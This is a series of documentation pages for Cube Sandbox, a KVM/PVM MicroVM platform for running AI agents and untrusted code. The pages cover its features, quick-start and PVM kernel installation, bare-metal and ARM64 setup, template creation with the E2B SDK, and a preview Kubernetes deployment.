--- url: https://cubesandbox.com/guide/introduction.md --- # Introduction Cube Sandbox is a **purpose-built infrastructure for AI Agents** — a production-hardened runtime service that hosts Agent processes, stateful services, and provides secure execution environments in hardware-isolated MicroVMs. Built on RustVMM + KVM, each sandbox boots in under 60ms with less than 5MB of additional memory consumption. The core system has been validated at scale in Tencent Cloud production environments before open-sourcing. ## Key Advantages * **⚡ Sub-60ms Boot · High Density**: Average <60ms cold start, <5MB overhead per instance — run thousands of Agents on a single node. Under 50 concurrent creations: avg 67ms, P95 90ms, P99 137ms. * **🔒 Hardware-Level Isolation**: Each sandbox gets its own dedicated Guest OS kernel — no shared-kernel container escapes. Run untrusted LLM-generated code safely with hardware-enforced boundaries (KVM + eBPF). * **🤖 Agent Hosting, Not Just Code Execution**: Sandboxes can host long-running Agent processes (e.g. OpenClaw assistants via AgentHub), complete service stacks (Redis, MySQL, browsers, dev environments), or one-shot code execution — all with the same lifecycle primitives. * **🔌 Seamless E2B Migration**: Native E2B SDK compatibility — swap one URL environment variable, zero business code changes. * **⏸️ Auto-Pause & Auto-Resume**: Idle sandboxes are automatically snapshot-suspended (zero resource cost) and transparently restored on the next request — hundred-millisecond resume, zero caller awareness. * **📸 Snapshot · Clone · Rollback**: Hundred-millisecond checkpoints — roll back to any saved state or fork multiple exploration branches. Powered by CubeCoW Copy-on-Write with incremental dirty-page tracking. * **🌐 Cross-Node Pause & Resume (Preview)**: With the S3 snapshot backend, a paused sandbox can be resumed on — and new sandboxes created from snapshots on — any compatible node in the cluster. Sandboxes are no longer pinned to a single node, so node maintenance or failure no longer strands your workloads. * **🔐 Credential Vault**: Keys never enter the sandbox, model context, or logs. Secrets stay in the control plane. * **🛡️ Egress Control**: Domain allowlists, instant block on unauthorized egress, full audit logs. CubeEgress provides L7 domain filtering, credential injection, and access auditing. * **🖥️ Web Console**: Manage sandboxes, templates, nodes, and version matrix in the browser — open `:12088` right after install. * **📦 Template System**: Turn OCI images into templates in one step, install presets from the Template Store, auto-distribute across nodes. * **📦 Ready Out of the Box**: No complex dependencies. A minimal deployment script gets a full environment running in minutes. Supports bare-metal deployment, Kubernetes cluster deployment, and Terraform-based deployment on Tencent Cloud. * **💾 Volume Framework**: CubeSandbox provides an E2B-compatible Volume framework that lets users plug in custom backend storage solutions while remaining compatible with the E2B standard. ## CubeSandbox vs Alternatives | Metric | Docker Container | Traditional VM | CubeSandbox | |---|---|---|---| | **Isolation Level** | Low (Shared Kernel Namespaces) | High (Dedicated Kernel) | **Extreme (Dedicated Kernel + eBPF)** | | **Boot Speed** | 200ms | Seconds | **Sub-60ms** | | **Memory Overhead** | Low (Shared Kernel) | High (Full OS) | **Ultra-low (<5MB)** | | **Deployment Density** | High | Low | **Extreme (Thousands per node)** | | **Agent Hosting** | Manual setup | Manual setup | **✅ Native (AgentHub)** | | **Auto-Pause / Resume** | / | / | **✅ Platform-managed (100ms resume)** | | **Cross-Node Pause / Resume** | / | / | **✅ S3 backend (preview)** | | **Snapshot / Clone / Rollback** | / | / | **✅ Sub-second** | | **E2B SDK Compatible** | / | / | **✅ Drop-in** | ## Next Steps * [Quick Start](./quickstart.md) — the fastest path from zero to a running sandbox. * [Sandbox Lifecycle](./lifecycle.md) — state model, auto-pause, auto-resume. * [Cross-Node Snapshots](./cross-node-snapshot.md) — resume a paused sandbox, or create one from a snapshot, on any node in the cluster (S3 backend). * [Digital Assistant (AgentHub)](./digital-assistant.md) — host and manage AI Agent instances. * [Self-Build Deployment](./self-build-deploy.md) — single-machine deployment reference. * [Multi-Node Cluster Deployment](./multi-node-deploy.md) — scale beyond a single machine. * [Kubernetes Deployment](./kubernetes/) — install with Helm on an existing K8s cluster. * [Creating Templates from OCI Images](./tutorials/template-from-image.md) — step-by-step template guide. * [WebUI Console](./webui.md) — visual management right after install. * [Security Proxy & Credential Vault](./security-proxy.md) — CubeEgress domain filtering and auditing. --- --- url: https://cubesandbox.com/guide/quickstart.md --- # Quick Start Get a fully functional Cube Sandbox running in four steps — no source build required. The steps below guide you through provisioning a cloud server, enabling KVM via PVM, and installing Cube Sandbox on that server. ⚠️ Follow this guide step by step — you can be up and running with Cube Sandbox in just a few minutes! ::: warning Production Use If you plan to use Cube Sandbox in a production environment, please refer to the [Network Hardening](./network-hardening.md) guide to secure your deployment before exposing services to untrusted networks. ::: ::: tip Already have a server with KVM enabled? If you already have an x86\_64 or aarch64 (ARM64) Linux server with KVM enabled (bare-metal or physical machine), skip to [Bare-Metal Deployment](./bare-metal-deploy.md) to install directly without PVM. ::: ## Prerequisites * **x86\_64** cloud server (any standard cloud VM works — `/dev/kvm` not required) * **Root access** * Internet access (for downloading release packages and Docker images) ::: warning ARM64 (aarch64) hosts This Quick Start uses **PVM** to enable KVM on standard cloud VMs, and the PVM host kernel is **x86\_64-only** (release attachments are `*.x86_64.rpm` / `*_amd64.deb`). PVM does **not** support ARM64. On **aarch64 (ARM64)**, use a machine that already exposes native KVM (a physical/bare-metal ARM64 server) and follow [Bare-Metal Deployment](./bare-metal-deploy.md) or [Self-Build Deployment](./self-build-deploy.md) instead — both support aarch64. ::: ### 🖥 Supported Systems CubeSandbox binaries are built on **Ubuntu 20.04 (glibc 2.31)** — your system **must have glibc ≥ 2.31**, or the binaries won't run. | OS | Status | Notes | |---|---|---| | 🏆 **OpenCloudOS 9** | ✅ Recommended | Best compatibility, XFS by default, production-ready | | 🏆 **TencentOS 4** | ✅ Recommended | Best compatibility, XFS by default, production-ready | | Ubuntu (20.04 / 22.04 / 24.04) | ✅ Tested | glibc 2.31+ — works. Requires manual [XFS setup →](https://github.com/TencentCloud/CubeSandbox/issues/311) | | Other RPM-based (CentOS, RHEL, etc.) | ⚠️ Check glibc | Must have glibc ≥ 2.31 and XFS for `/data/cubelet` | | Debian / WSL | ⚠️ Check glibc | Same requirements; see [XFS FAQ →](https://github.com/TencentCloud/CubeSandbox/issues/311) | > ℹ️ **Why XFS?** CubeSandbox relies on XFS reflink for Copy-on-Write snapshots. Ubuntu / Debian / WSL default to ext4 — you must mount an XFS filesystem at `/data/cubelet`. See [FAQ #311](https://github.com/TencentCloud/CubeSandbox/issues/311) for step-by-step instructions. ::: warning 💾 Disk Space **`/data/cubelet` must have at least 50 GB** of available disk space for the sandbox image and writable layers. If you plan to build multiple templates or custom images, **200 GB or more is recommended**. ::: ## Step 1: Provision a Cloud Server & Install the PVM Kernel ### Provision a Cloud Server Provision an **x86\_64** cloud server — no special requirements. **Recommended OS: OpenCloudOS 9** (RPM-based). Cube Sandbox's PVM host kernel is built on the OpenCloudOS kernel, so OpenCloudOS 9 offers the best compatibility without distribution-specific adjustments. Ubuntu, Debian, CentOS, and other mainstream distributions are also supported. | Config | CPU | RAM | Disk | | --- | --- | --- | --- | | Functional experience | ≥ 4 cores | ≥ 8 GB | ≥ 50 GB | | Recommended | 32 cores | 64 GB | ≥ 200 GB | ::: warning Run all commands as root Every command in this guide must be executed as **root**. Switch to root first: ```bash sudo su root ``` ::: ### Install the PVM Host Kernel #### Download the kernel package The PVM host kernel package is published on dedicated `kernel-release-*` Releases — download the latest main package from the release page: 1. Open the [GitHub Releases page](https://github.com/TencentCloud/CubeSandbox/releases?q=kernel-release-\&expanded=true) (or the [CNB mirror](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases) for mainland China — filter by `kernel-release` there), and open the newest `kernel-release-*` release 2. Download the **main package** for your distribution: * RPM-based: `kernel-*opencloudos9.cubesandbox.pvm.host*.x86_64.rpm` * DEB-based: `linux-image-*opencloudos9.cubesandbox.pvm.host*_amd64.deb` Optional assets like `kernel-headers-*` and `-dbg` are not needed. #### RPM-based (OpenCloudOS, RHEL, CentOS, TencentOS, Fedora) Install the downloaded package: ```bash # Use --oldpackage if the host already has a newer kernel version rpm -ivh --oldpackage kernel-*.rpm ``` Set the PVM kernel as the default boot entry: ```bash # List installed kernels and find the index of the PVM kernel grubby --info=ALL | grep -E "^kernel|^index" # Replace with the number from the output above for the PVM kernel grubby --set-default-index= # Confirm the change grubby --default-kernel ``` Configure kernel boot parameters: ```bash curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/pvm/grub/host_grub_config.sh | bash ``` #### DEB-based (Ubuntu, Debian) Install the downloaded package: ```bash dpkg -i linux-image-*opencloudos9.cubesandbox.pvm.host*.deb ``` Set the PVM kernel as the default boot entry: ```bash # List installed kernels to find the PVM kernel version string ls /boot/vmlinuz-* # Point GRUB default to the PVM kernel (replace with the actual version string from above) KVER="$(ls /boot/vmlinuz-*opencloudos9.cubesandbox.pvm.host* | sed 's|/boot/vmlinuz-||' | tail -1)" sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\"Advanced options for Ubuntu>Ubuntu, with Linux ${KVER}\"|" \ /etc/default/grub ``` Configure kernel boot parameters (the script internally calls `update-grub` to apply the GRUB changes above): ```bash curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/pvm/grub/host_grub_config.sh | bash ``` ### Reboot & Verify ```bash reboot ``` After rebooting, confirm you're running the PVM kernel and the KVM module is loaded: ```bash # Verify kernel version uname -r # Expected output contains: opencloudos9.cubesandbox.pvm.host # Load the PVM KVM module modprobe kvm_pvm # Confirm the module is loaded lsmod | grep kvm # Expected output includes kvm_pvm ``` Enable `kvm_pvm` to load automatically at boot: ```bash echo 'kvm_pvm' > /etc/modules-load.d/kvm-pvm.conf ``` ::: details What is PVM? (Technical background) PVM (Pagetable-based Virtual Machine) is a **page-table-based nested virtualization framework** built on top of KVM. Unlike traditional nested virtualization, PVM does not rely on the host hypervisor exposing Intel VT-x / AMD-V hardware virtualization extensions to the guest. Instead, it performs privilege-level switching and memory virtualization within the guest kernel layer through shared memory regions and shadow page tables — completely transparent to the host hypervisor. Tencent Cloud has deployed PVM instances at scale in production, with reliability validated extensively. Improvements have been upstreamed to the [OpenCloudOS kernel](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git). For complete PVM deployment details, see [PVM Deployment](./pvm-deploy.md). ::: ## Step 2: Install Run as root: ```bash curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/one-click/online-install.sh | CUBE_PVM_ENABLE=1 bash ``` ::: tip Skipping Pre-download Preflight Checks The online installer script performs lightweight pre-download checks for OS, memory, KVM, and `/data/cubelet` filesystem (requires XFS) to save your time. If you need to bypass these early checks (e.g. in custom test environments), set the `ONE_CLICK_SKIP_PRECHECK=1` environment variable or pass the `--skip-precheck` argument: ```bash # Option A: via environment variable curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/one-click/online-install.sh | ONE_CLICK_SKIP_PRECHECK=1 CUBE_PVM_ENABLE=1 bash # Option B: via argument curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/one-click/online-install.sh | CUBE_PVM_ENABLE=1 bash -s -- --skip-precheck ``` ⚠️ Note: Skipping the prechecks only affects the download behavior of `online-install.sh`. The authoritative system constraints in `install.sh` are still strictly enforced during actual deployment to ensure stability. ::: ::: details What gets installed * E2B-compatible REST API listening on port `3000` * CubeMaster, Cubelet with embedded network runtime, and CubeShim running as host processes * MySQL and Redis managed via Docker Compose * CubeProxy providing TLS (mkcert) and CoreDNS domain routing (`cube.app`) ::: ## Step 3: Create a Template After installation, create a code interpreter template using a pre-built image: ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-int.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` > **Registry note:** Use `cube-sandbox-int.tencentcloudcr.com/cube-sandbox/sandbox-code:latest` (recommended for international access). If you are in mainland China, use `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest` instead. ::: warning Multi-Arch image availability Currently only `sandbox-code:latest` is published as a **Multi-Arch** image (supporting both x86\_64 and aarch64/ARM64). The other official Cube images hosted on `tencentcloudcr.com` are still being updated for Multi-Arch and may not yet run on your architecture. If you need an image for an architecture that isn't covered yet, build your own custom Multi-Arch image by combining [Creating Templates from OCI Images](./tutorials/template-from-image.md) with Docker's [Multi-platform builds](https://docs.docker.com/build/building/multi-platform/). ::: Then monitor the build progress: ```bash cubemastercli tpl watch --job-id ``` ⚠️ Note: the image is large; downloading, extracting, and building the template may take a while. Please be patient. Wait for the command above to finish — the template status should become `READY`. Take note of the **template ID** (`template_id`) from the output; you'll need it in the next step. For the full template creation workflow and more options, see [Creating Templates from OCI Images](./tutorials/template-from-image.md). ## Step 4: Run Your First Agent Code Install the Python SDK: ::: code-group ```bash [yum (RPM)] yum install -y python3 python3-pip ``` ```bash [apt (DEB)] apt update && apt install -y python3 python3-pip ``` ::: ```bash pip install e2b-code-interpreter ``` Set environment variables: ```bash export E2B_API_URL="http://127.0.0.1:3000" export E2B_API_KEY="e2b_000000" export CUBE_TEMPLATE_ID="" export SSL_CERT_FILE="/root/.local/share/mkcert/rootCA.pem" ``` | Variable | Description | |------|------| | `E2B_API_URL` | Points the E2B SDK to your local Cube Sandbox instead of the E2B cloud service | | `E2B_API_KEY` | Required by the SDK; use any placeholder string for local deployment | | `CUBE_TEMPLATE_ID` | The template ID obtained in Step 3 | | `SSL_CERT_FILE` | Path to the mkcert CA root certificate, required for sandbox HTTPS connections | Run code in an isolated sandbox: ```python import os from e2b_code_interpreter import Sandbox # Use the E2B SDK directly! # CubeSandbox seamlessly handles all requests under the hood with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox, safely isolated!')") print(result) ``` For more end-to-end examples, see [Examples](./tutorials/examples.md). ## Next Steps * [Create Templates from OCI Images](./tutorials/template-from-image.md) — Customize sandbox environments * [Bare-Metal Deployment](./bare-metal-deploy.md) — Already have a KVM-enabled server? Install directly * [Multi-Node Cluster](./multi-node-deploy.md) — Scale across multiple machines * [HTTPS & Domain Resolution](./https-and-domain.md) — TLS configuration options * [Authentication](./authentication.md) — Enable API authentication ## Appendix: Build from Source The steps above use a prebuilt release bundle. If you need to customize components, use a specific commit, or contribute to development, you can build the bundle yourself. See [Self-Build Deployment](./self-build-deploy.md) for full instructions. --- --- url: https://cubesandbox.com/guide/pvm-deploy.md --- # PVM Deployment > **When to use this guide:** Your cloud server does not expose `/dev/kvm` (nested virtualization is blocked by the cloud provider). If your machine already has KVM support, refer to [Quick Start](./quickstart.md) or [Self-Build Deployment](./self-build-deploy.md) instead. ::: warning Production Use If you plan to use Cube Sandbox in a production environment, please refer to the [Network Hardening](./network-hardening.md) guide to secure your deployment before exposing services to untrusted networks. ::: PVM enables you to deploy Cube Sandbox on an **ordinary cloud server**, with all sandbox instances running inside PVM-backed Micro-VMs. Compared to a standard deployment, PVM adds only two extra steps: 1. Install the PVM host kernel and reboot 2. Pass `CUBE_PVM_ENABLE=1` when running the Cube Sandbox installer ::: tip Production-ready Tencent Cloud has deployed PVM instances at scale in production environments, with reliability validated in production. The improvements have been open-sourced in the [OpenCloudOS kernel](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git). ::: ::: details What is PVM? (Technical background) PVM (Pagetable-based Virtual Machine) is a **page-table-based nested virtualization framework** built on top of KVM. Unlike conventional nested virtualization, PVM does not require the host hypervisor to expose hardware virtualization extensions (Intel VT-x / AMD-V) to the guest. Instead, it uses a minimal shared memory region between the guest and the guest hypervisor, combined with an efficient shadow page table design, to handle privilege-level transitions and memory virtualization — all transparently to the host hypervisor. PVM was originally proposed in the paper [*PVM: Efficient Shadow Paging for Deploying Secure Containers in Cloud-native Environment*](https://dl.acm.org/doi/10.1145/3600006.3613158). Tencent Cloud has since made extensive improvements in features, performance, and bug fixes, and has open-sourced the work in the [OpenCloudOS kernel](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git) for the community. Over the years, we have deployed a large number of PVM instances in Tencent Cloud production environments, and their reliability has been validated in production. ::: ## Prerequisites * **x86\_64** Linux server (cloud server or physical machine) * **Root access** * **No `/dev/kvm` required** — PVM provides KVM capability after the kernel switch * All other requirements are the same as [Quick Start](./quickstart.md#prerequisites) (≥ 8 GB RAM, XFS-capable storage for `/data/cubelet`, etc.) ::: warning Run all commands as root Every command in this guide must be run as **root**. Switch to the root user first: ```bash sudo su root ``` Then run all subsequent commands directly in the root shell. ::: ## Step 0: Provision a Cloud Server Purchase an **x86\_64** cloud server from any cloud provider — no special requirements apply. **OpenCloudOS 9 (RPM-based) is the recommended OS.** The Cube Sandbox PVM host kernel is built on the OpenCloudOS kernel, so choosing OpenCloudOS 9 gives the best compatibility with the fewest distribution-specific differences to handle. Other mainstream distributions — Ubuntu, Debian, CentOS, etc. — are equally supported; just follow the corresponding section below. > 📌 **Shortcut for OpenCloudOS 9 users** > The Cube PVM host kernel package is also available on the official OpenCloudOS yum repository — `dnf install` installs it directly, no manual rpm download needed, and the whole deployment takes about 5 commands. > 👉 [One-command CubeSandbox deployment on OpenCloudOS 9 — walkthrough (Chinese)](https://mp.weixin.qq.com/s/oGAaUpze_uB_uzyvuYJSIg) ::: tip Recommended specifications * CPU: ≥ 4 cores * RAM: ≥ 8 GB * System disk: ≥ 50 GB (attaching a dedicated data disk for `/data/cubelet` is recommended) ::: ## Step 1: Install the PVM Host Kernel ### Download the kernel package The PVM host kernel package is published on dedicated `kernel-release-*` Releases — download the latest main package from the release page: 1. Open the [GitHub Releases page](https://github.com/TencentCloud/CubeSandbox/releases?q=kernel-release-\&expanded=true) (or the [CNB mirror](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases) for mainland China — filter by `kernel-release` there), and open the newest `kernel-release-*` release 2. Download the **main package** for your distribution: * RPM-based (OpenCloudOS, RHEL, CentOS, TencentOS, Fedora): `kernel-*opencloudos9.cubesandbox.pvm.host*.x86_64.rpm` * DEB-based (Ubuntu, Debian): `linux-image-*opencloudos9.cubesandbox.pvm.host*_amd64.deb` Optional assets like `kernel-headers-*` and `-dbg` are not needed. ### RPM-based (OpenCloudOS, RHEL, CentOS, TencentOS, Fedora) Install the downloaded package: ```bash # --oldpackage skips the version check if a newer kernel is already installed rpm -ivh --oldpackage kernel-*.rpm ``` Set the PVM kernel as the default boot entry: ```bash # List installed kernels and find the index of the PVM kernel grubby --info=ALL | grep -E "^kernel|^index" # Replace with the number shown for the PVM kernel grubby --set-default-index= # Verify grubby --default-kernel ``` Configure the required kernel boot parameters: ```bash bash <(curl -fsSL \ https://raw.githubusercontent.com/TencentCloud/CubeSandbox/master/deploy/pvm/grub/host_grub_config.sh) ``` ### DEB-based (Ubuntu, Debian) Install the downloaded package: ```bash dpkg -i linux-image-*opencloudos9.cubesandbox.pvm.host*.deb ``` Set the PVM kernel as the default boot entry: ```bash # List installed kernels and note the PVM kernel version string ls /boot/vmlinuz-* # Point GRUB to the PVM kernel (the version string is read automatically) KVER="$(ls /boot/vmlinuz-*opencloudos9.cubesandbox.pvm.host* | sed 's|/boot/vmlinuz-||' | tail -1)" sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\"Advanced options for Ubuntu>Ubuntu, with Linux ${KVER}\"|" \ /etc/default/grub ``` Configure the required kernel boot parameters (the script also calls `update-grub`, applying the default-entry change above): ```bash bash <(curl -fsSL \ https://raw.githubusercontent.com/TencentCloud/CubeSandbox/master/deploy/pvm/grub/host_grub_config.sh) ``` ### Reboot and Verify ```bash reboot ``` After rebooting, confirm you are running the PVM kernel and that the KVM module loads successfully: ```bash # Confirm the kernel version uname -r # Expected output contains: opencloudos9.cubesandbox.pvm.host # Load the PVM KVM module modprobe kvm_pvm # Confirm the module is loaded lsmod | grep kvm # Expected output includes kvm_pvm ``` Configure `kvm_pvm` to load automatically on boot: ```bash echo 'kvm_pvm' > /etc/modules-load.d/kvm-pvm.conf ``` ::: tip Already have Cube Sandbox installed? If you have a running Cube Sandbox installation using the standard kernel, **you do not need to reinstall it**. Simply reboot into the PVM kernel and proceed to [Step 2](#step-2-install-cube-sandbox-with-pvm-enabled). ::: ## Step 2: Install Cube Sandbox with PVM Enabled ::: tip Why `CUBE_PVM_ENABLE=1`? The release bundle ships two guest kernels: a standard one (`vmlinux`) and a PVM-optimized one (`vmlinux-pvm`). Setting `CUBE_PVM_ENABLE=1` tells the installer to use the PVM guest kernel as the active runtime kernel. Without this flag, the standard guest kernel is used and PVM has no effect. ::: ### Option A: Online Install (Recommended) The online install script downloads the release bundle to a temporary directory before running `install.sh`. Because the temporary directory contains no `.env` file, the `CUBE_PVM_ENABLE=1` environment variable takes effect directly: ```bash # Using GitHub (default) curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/one-click/online-install.sh \ | CUBE_PVM_ENABLE=1 bash ``` ```bash # Using the CN mirror for faster downloads in mainland China curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh \ | CUBE_PVM_ENABLE=1 MIRROR=cn bash ``` To explicitly set the node IP (recommended on machines with multiple network interfaces): ```bash curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/one-click/online-install.sh \ | CUBE_PVM_ENABLE=1 bash -s -- --node-ip= ``` ### Option B: Manual Download Download `cube-sandbox-one-click-.tar.gz` from [GitHub Releases](https://github.com/TencentCloud/CubeSandbox/releases), extract it, and pass the environment variable inline: ```bash tar -xzf cube-sandbox-one-click-.tar.gz cd cube-sandbox-one-click- # The extracted directory contains no .env file, so the env variable takes effect CUBE_PVM_ENABLE=1 ./install.sh ``` ::: warning env file override pitfall If you followed the developer guide and ran `cp env.example .env`, a `.env` file now exists in the directory with the default value `CUBE_PVM_ENABLE=0`. The installer `source`s this file, which **overrides** any same-named variable exported from the parent shell, silently disabling PVM. To fix this, update the `.env` file before running the installer: ```bash sed -i 's/^CUBE_PVM_ENABLE=0/CUBE_PVM_ENABLE=1/' .env grep CUBE_PVM_ENABLE .env # Verify: expected CUBE_PVM_ENABLE=1 ./install.sh ``` ::: ### Confirm a Successful Install The install log should contain: ``` [one-click] CUBE_PVM_ENABLE=1, installed PVM guest kernel as .../cube-kernel-scf/vmlinux ``` ## Step 3: Verify the PVM Environment ```bash # Confirm PVM is enabled in the runtime configuration grep CUBE_PVM_ENABLE /usr/local/services/cubetoolbox/.one-click.env # Expected: CUBE_PVM_ENABLE=1 # Confirm the KVM device is available ls -la /dev/kvm # Confirm the PVM KVM module is loaded lsmod | grep kvm_pvm ``` ## Step 4: Create a Template and Get Started With PVM up and running, the rest of the process is identical to a standard deployment. Follow [Step 3: Create a Template](./quickstart.md#step-3-create-a-template) in the Quick Start guide to create your first template and run a sandbox. ## Troubleshooting **Q1: Install log shows `using ordinary guest kernel` instead of the PVM guest kernel** **A:** This is almost always caused by a `.env` file containing `CUBE_PVM_ENABLE=0` overriding the environment variable. See the warning in [Option B](#option-b-manual-download) above. *** **Q2: `lsmod | grep kvm_pvm` returns no output, or `/dev/kvm` does not exist** **A:** Run `uname -r` to confirm you rebooted into the PVM kernel (the version string should contain `opencloudos9.cubesandbox.pvm.host`). Once confirmed, run `modprobe kvm_pvm` manually. If it still fails, verify the kernel packages are installed correctly: ```bash # RPM-based rpm -qa | grep cube.pvm # DEB-based dpkg -l | grep cube.pvm ``` --- --- url: https://cubesandbox.com/guide/bare-metal-deploy.md --- # Bare-Metal / Physical Machine Deployment > **Use case:** You already have an x86\_64 or aarch64 (ARM64) Linux machine with KVM support (`/dev/kvm` available), such as a physical machine, bare-metal server, or a cloud VM with nested virtualization enabled. > > If you're on an **ordinary cloud VM** without `/dev/kvm`, you don't need bare-metal — use PVM to enable KVM on standard cloud VMs, see [Quick Start](./quickstart.md). ::: warning Production Use If you plan to use Cube Sandbox in a production environment, please refer to the [Network Hardening](./network-hardening.md) guide to secure your deployment before exposing services to untrusted networks. ::: ## Prerequisites * **x86\_64** or **aarch64** (ARM64) Linux machine * `/dev/kvm` present and read/writable (`ls -la /dev/kvm`) * **Root access** * **Docker** installed and running * Internet access (for downloading release packages and Docker images) * RAM ≥ 8 GB, free disk ≥ 50 GB ::: warning Run all commands as root Every command in this guide must be executed as **root**. Switch to root first: ```bash sudo su root ``` ::: ## Step 1: Install ### x86\_64 (AMD64) Run as root: ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh | MIRROR=cn bash ``` ### ARM64 (aarch64) Hosts ::: warning online-install.sh ARM64 support coming soon The `online-install.sh` one-command installer currently auto-discovers **x86\_64** packages only. ARM64 support in `online-install.sh` will be available in an upcoming release. For now, ARM64 users should follow the manual steps below. ::: **Step 1:** Go to the release page for your region, find the latest release that includes ARM64 assets, and download the `cube-sandbox-one-click-*-arm64.tar.gz` package: | Platform | Release Page | |---|---| | GitHub | [TencentCloud/CubeSandbox/releases](https://github.com/TencentCloud/CubeSandbox/releases) | | CNB (China) | [CubeSandbox/CubeSandbox/-/releases](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases) | **Step 2:** Extract and run the installer: ```bash # Replace with the actual version you downloaded (e.g. v0.5.0-rc3) tar -xzf cube-sandbox-one-click--arm64.tar.gz cd cube-sandbox-one-click--arm64 chmod +x install.sh ./install.sh ``` ::: details What gets installed * E2B-compatible REST API listening on port `3000` * CubeMaster, Cubelet with embedded network runtime, and CubeShim running as host processes * MySQL and Redis managed via Docker Compose * CubeProxy providing TLS (mkcert) and CoreDNS domain routing (`cube.app`) ::: ::: tip ARM64 hosts without a guest PMU On some aarch64 hosts — older kernels, nested-virtualization setups, or certain ARM cores — KVM does not expose a guest PMUv3. MicroVMs still boot on these hosts; the hypervisor initializes the vCPU without a PMU and the guest simply sees no hardware performance counters. No action is needed. ::: ## Step 2: Create a Template After installation, create a code interpreter template using a pre-built image: ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` > **Registry note:** For users in China, use `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest`. For international access, use `cube-sandbox-int.tencentcloudcr.com/cube-sandbox/sandbox-code:latest`. Monitor the build progress: ```bash cubemastercli tpl watch --job-id ``` ⚠️ Note: the image is large; downloading, extracting, and building the template may take a while. Please be patient. Wait for the command above to finish — the template status should become `READY`. Take note of the **template ID** (`template_id`) from the output; you'll need it in the next step. For a full walkthrough and additional parameters, see [Create Templates from OCI Image](./tutorials/template-from-image.md). ## Step 3: Run Your First Agent Code Install Python SDK: ```bash yum install -y python3 python3-pip pip config set global.index-url https://mirrors.ustc.edu.cn/pypi/simple pip install e2b-code-interpreter ``` Set environment variables: ```bash export E2B_API_URL="http://127.0.0.1:3000" export E2B_API_KEY="e2b_000000" export CUBE_TEMPLATE_ID="" export SSL_CERT_FILE="/root/.local/share/mkcert/rootCA.pem" ``` | Variable | Description | |------|------| | `E2B_API_URL` | Points the E2B SDK to your local Cube Sandbox instead of the E2B cloud service | | `E2B_API_KEY` | Required by the SDK; use any placeholder string for local deployment | | `CUBE_TEMPLATE_ID` | The template ID obtained in Step 2 | | `SSL_CERT_FILE` | Path to the mkcert CA root certificate, required for sandbox HTTPS connections | Run code in an isolated sandbox: ```python import os from e2b_code_interpreter import Sandbox # Use the E2B SDK directly! # CubeSandbox seamlessly handles all requests under the hood with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox, safely isolated!')") print(result) ``` For more end-to-end examples, see [Examples](./tutorials/examples.md). ## Next Steps * [Create Templates from OCI Image](./tutorials/template-from-image.md) — Customize sandbox environments * [Multi-Node Cluster](./multi-node-deploy.md) — Scale across multiple machines * [HTTPS & Domain Resolution](./https-and-domain.md) — TLS configuration options * [Authentication](./authentication.md) — Enable API authentication --- --- url: https://cubesandbox.com/guide/kubernetes.md --- # Kubernetes Deployment Install CubeSandbox (control plane + compute plane) with a Helm Chart on an existing Kubernetes cluster. ::: tip Difference from the “one-click script” deployment This is the **native K8s path**: components run in the cluster and are managed by Helm. If you only have a single physical machine and do not plan to use K8s, see [Bare-Metal Deployment](../bare-metal-deploy.md) or [Quick Start](../quickstart.md) instead. ::: ::: warning Preview version warning The current K8s deployment is a **preview** release. Known issues: 1. When compute nodes are under resource pressure, Pods may be incorrectly evicted by the K8s control plane, interrupting sandboxes. This is being fixed. 2. Compute-node upgrades currently have known issues: an upgrade recreates `cube-node`; on the Pod network that interrupts existing sandbox networking on the node, while on the default host network the netns survives the recreate. Read the [Upgrade guide](./upgrade.md) **before you deploy**. 3. The default host network is new and may interact with your CNI / Pod Security Admission (e.g. Cilium eBPF, `restricted` PSA). Test it in a non-production cluster first; see [Install · cube-node networking](./install.md#_8-3-cube-node-networking-and-pod-recreation). **These issues will be addressed in later versions. You are welcome to try the K8s deployment path and report issues and suggestions via Issues.** ::: ## Docs navigation | Doc | Contents | | --- | --- | | [Helm Install](./install.md) | Full steps from cluster readiness to verification (recommended main path) | | [Architecture](./architecture.md) | Chart component layers, four DaemonSets, startup order, and data flows | | [Upgrade](./upgrade.md) | Control plane can roll; compute upgrades recreate the Big Pod (the netns survives on the default host network) | | [FAQ](./faq.md) | Troubleshooting for install, scheduling, PVM, Proxy, Egress, and upgrades | ## Install order (required reading) ```text ① Cluster ready ↓ ② Label nodes (and role taints) ↓ ③ Prepare values ↓ ④ helm upgrade --install ↓ ⑤ Verify ``` The control plane uses native Deployments; the compute plane uses native `apps/v1` DaemonSets. Install needs only standard Kubernetes / Helm. ## Tested environments CubeSandbox has been verified on Tencent Cloud TKE, Kubernetes, and K3s. Tencent Cloud TKE uses VPC-CNI as the CNI plugin; the other two environments use Flannel. | Environment | CNI plugin | | --- | --- | | Tencent Cloud TKE | VPC-CNI | | Kubernetes | Flannel | | K3s | Flannel | Next → 